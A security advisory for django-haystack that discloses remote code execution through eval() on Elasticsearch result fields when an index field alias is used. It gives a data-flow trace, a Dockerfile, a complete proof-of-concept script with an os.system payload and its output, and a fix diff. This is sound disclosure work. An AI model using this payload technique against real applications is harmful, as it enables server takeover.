PT-2026-64790 · Pypi · Django-Haystack
Published
2026-07-15
·
Updated
2026-07-15
CVSS v4.0
8.7
High
| Vector | AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Remote Code Execution via eval() in Elasticsearch Result Deserialization
Summary
The Elasticsearch backend in django-haystack calls
eval() on raw field values returned from Elasticsearch when a SearchField is declared with an index fieldname alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to to python() → eval(). An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: 8.5 (High).Details
Sink —
haystack/backends/elasticsearch backend.py:865:python
converted value = eval(value) to python() (line ~850) attempts to parse a string value by calling eval() before performing any type-safety check. If the value is an attacker-controlled Python expression such as import ('os').system(...), the expression is executed unconditionally.Root cause —
haystack/backends/elasticsearch backend.py:727–737:python
for key, value in source.items():
string key = str(key)
if string key in index.fields and hasattr(index.fields[string key], "convert"):
additional fields[string key] = index.fields[string key].convert(value)
else:
additional fields[string key] = self. to python(value)index.fields is keyed by the logical field name (e.g. "name"), but Elasticsearch stores the document under the index fieldname alias (e.g. "name s"). Because "name s" not in index.fields, the branch falls through to self. to python(value).Data flow (source → sink):
haystack/indexes.py:226—self.prepared data[field.index fieldname] = field.prepare(obj)stores data under the alias.haystack/backends/elasticsearch backend.py:218— prepared data copied intofinal data.haystack/backends/elasticsearch backend.py:236—bulk(...)writes the document to Elasticsearch under the alias key.haystack/backends/elasticsearch backend.py:574— search reads attacker-influencedsourceback from Elasticsearch.haystack/backends/elasticsearch backend.py:720—process results()takesraw result[" source"].haystack/backends/elasticsearch backend.py:730— lookupstring key in index.fieldsfails for alias keys.haystack/backends/elasticsearch backend.py:737— unmatched value passed toto python(value).haystack/backends/elasticsearch backend.py:865— sink:converted value = eval(value).
Missing fix: The Solr backend correctly remaps aliases at
haystack/backends/solr backend.py:535–539 using index.field map before performing the index.fields lookup. The Elasticsearch backend has no equivalent remapping.Preconditions:
- The application uses the Elasticsearch backend.
- At least one
SearchFieldin aSearchIndexis declared withindex fieldnameset to a value different from the logical attribute name. - The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index).
- The attacker can trigger or wait for a search that returns the malicious document.
PoC
Environment setup (Docker):
bash
# Build the proof-of-concept image
docker build -t vuln001-poc
-f /path/to/vuln-001/Dockerfile
/path/to/reports/pypiAi 436 django-haystack django-haystack/
# Run the PoC — exits 0 on confirmed RCE
docker run --rm vuln001-pocDockerfile (
vuln-001/Dockerfile):dockerfile
FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir setuptools setuptools scm wheel
COPY repo/ /app/repo/
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"
RUN SETUPTOOLS SCM PRETEND VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]PoC script (
vuln-001/poc.py) — key sections:python
# SearchField with index fieldname alias
class MockField:
index fieldname = "name s" # ES key
def convert(self, value): return str(value)
class MockIndex:
fields = {"name": MockField()} # logical key — "name s" NOT present
field map = {"name s": "name"}
# Malicious payload placed in the alias key of a crafted ES source response
MARKER FILE = "/tmp/django haystack eval rce proof"
payload = (
f" import ('os').system("
f"'echo PWNED BY EVAL RCE > {MARKER FILE}')"
)
raw results = {"hits": {"total": 1, "hits": [{
" score": 1.0,
" source": {
"django ct": "app.model",
"django id": "1",
"name s": payload, # alias key → lookup fails → eval()
},
}]}}
backend. process results(raw results)
# Confirms RCE: /tmp/django haystack eval rce proof contains "PWNED BY EVAL RCE"Observed output (Phase 2 dynamic reproduction):
============================================================
VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend
============================================================
[*] Payload : import ('os').system('echo PWNED BY EVAL RCE > /tmp/django haystack eval rce proof')
[*] Marker : /tmp/django haystack eval rce proof
[*] Sink : elasticsearch backend.py:865 eval(value)
[+] SUCCESS: RCE CONFIRMED
[+] Marker file created: /tmp/django haystack eval rce proof
[+] File content: PWNED BY EVAL RCE
RESULT: PASS - VULN-001 is dynamically reproduced and exploitableRecommended remediation:
diff
--- a/haystack/backends/elasticsearch backend.py
+++ b/haystack/backends/elasticsearch backend.py
-import re
+import ast
+import re
index = source and unified index.get index(model)
+ index field map = index.field map
for key, value in source.items():
string key = str(key)
+ if string key in index field map:
+ string key = index field map[string key]
if string key in index.fields and hasattr(
index.fields[string key], "convert"
- converted value = eval(value)
+ converted value = ast.literal eval(value)Impact
This is a Remote Code Execution (RCE) vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with
index fieldname aliasing, regardless of how authentication is configured by the application.Reproduction artifacts
Dockerfile
dockerfile
FROM python:3.11-slim
WORKDIR /app
# Install build tools needed for setuptools scm
RUN pip install --no-cache-dir setuptools setuptools scm wheel
# Copy the django-haystack repository source
COPY repo/ /app/repo/
# Install Django and the elasticsearch client
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"
# Install django-haystack from the local repo (editable install)
# setuptools scm requires git metadata; use fallback version instead
RUN SETUPTOOLS SCM PRETEND VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/
# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py
# Run the PoC by default
CMD ["python3", "/app/poc.py"]poc.py
python
"""
PoC for VULN-001: Arbitrary Code Execution via eval() in
ElasticsearchSearchBackend. process results (django-haystack)
Vulnerability:
haystack/backends/elasticsearch backend.py:865 calls eval(value) on
Elasticsearch source field values that do not match any entry in
index.fields. This mismatch occurs when a SearchField uses
index fieldname (alias) different from its logical field name: ES stores
data under the alias, but the backend looks up fields by logical name,
causing unmatched values to fall through to to python() -> eval().
Attack path:
1. Attacker controls content that is indexed into Elasticsearch.
2. The Django app has a SearchIndex field with index fieldname alias.
3. ES stores the document under the alias key.
4. On search, process results reads source where the alias key is NOT
found in index.fields (which uses logical names).
5. The value routes to to python(value) -> eval(value) -> RCE.
This PoC bypasses the need for a live Elasticsearch instance by directly
calling process results() with a crafted raw result dict.
"""
import os
import sys
# ---------------------------------------------------------------------------
# 1. Configure Django (no database required)
# ---------------------------------------------------------------------------
from django.conf import settings
if not settings.configured:
settings.configure(
SECRET KEY="poc-only-not-for-production",
INSTALLED APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"haystack",
],
HAYSTACK CONNECTIONS={
"default": {
"ENGINE": "haystack.backends.elasticsearch backend.ElasticsearchSearchEngine",
"URL": "http://127.0.0.1:9200/",
"INDEX NAME": "poc index",
}
},
DATABASES={},
)
import haystack
import haystack.backends.elasticsearch backend as esb
# ---------------------------------------------------------------------------
# 2. Mock objects to simulate the Haystack/ES environment
# ---------------------------------------------------------------------------
class MockField:
"""
Simulates a SearchField declared with an index fieldname alias.
Logical field name: "name"
ES storage key (index fieldname): "name s"
"""
index fieldname = "name s"
def convert(self, value):
return str(value)
class MockIndex:
"""
Simulates a SearchIndex.
fields: keyed by LOGICAL name ("name")
field map: alias -> logical name (Solr uses this; ES backend does NOT)
"""
fields = {
"name": MockField(),
}
field map = {"name s": "name"}
class MockUnifiedIndex:
document field = "text"
def get indexed models(self):
return [object]
def get index(self, model):
return MockIndex()
class MockConnection:
def get unified index(self):
return MockUnifiedIndex()
# Patch the global haystack connections registry so process results can
# look up the unified index without a real Elasticsearch connection.
haystack.connections = {"default": MockConnection()}
# Patch the model-lookup helper used inside process results.
# Returns `object` so the model is found and the result is processed.
esb.haystack get model = lambda app label, model name: object
# ---------------------------------------------------------------------------
# 3. Build the malicious payload
# ---------------------------------------------------------------------------
MARKER FILE = "/tmp/django haystack eval rce proof"
# os.system() returns the exit code (int). The isinstance(int) check in
# to python() passes, so eval() completes without raising, confirming
# full expression execution. The shell command writes the proof file.
payload = (
f" import ('os').system("
f"'echo PWNED BY EVAL RCE > {MARKER FILE}')"
)
# Crafted Elasticsearch raw response:
# "name s" is the index fieldname alias stored in ES.
# "name" is the logical field name present in index.fields.
# Because "name s" != "name", the lookup fails and value goes to eval().
raw results = {
"hits": {
"total": 1,
"hits": [
{
" score": 1.0,
" source": {
"django ct": "app.model", # required sentinel field
"django id": "1", # required sentinel field
"name s": payload, # alias key -> eval() path
},
}
],
}
}
# ---------------------------------------------------------------------------
# 4. Instantiate the backend without init (no live ES connection needed)
# ---------------------------------------------------------------------------
backend = esb.ElasticsearchSearchBackend. new (esb.ElasticsearchSearchBackend)
backend.connection alias = "default"
backend.include spelling = False
# ---------------------------------------------------------------------------
# 5. Trigger the vulnerability
# ---------------------------------------------------------------------------
print("=" * 60)
print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend")
print("=" * 60)
print(f"[*] Payload : {payload}")
print(f"[*] Marker : {MARKER FILE}")
print(f"[*] Sink : elasticsearch backend.py:865 eval(value)")
print()
# Remove any leftover marker from a previous run
if os.path.exists(MARKER FILE):
os.remove(MARKER FILE)
try:
backend. process results(raw results)
except Exception as exc:
# An exception here does not mean eval() was not called;
# the side effect (file write) is the ground truth.
print(f"[!] process results raised (checking side effects anyway): {exc}")
# ---------------------------------------------------------------------------
# 6. Verify the side effect
# ---------------------------------------------------------------------------
print()
if os.path.exists(MARKER FILE):
content = open(MARKER FILE).read().strip()
print("[+] SUCCESS: RCE CONFIRMED")
print(f"[+] Marker file created: {MARKER FILE}")
print(f"[+] File content: {content}")
print()
print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable")
sys.exit(0)
else:
print("[-] FAILURE: Marker file was not created")
print("[-] eval() was not triggered or the payload did not execute")
print()
print("RESULT: FAIL - RCE could not be confirmed")
sys.exit(1)Fix
Eval Injection
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Weakness Enumeration
Related Identifiers
Affected Products
Django-Haystack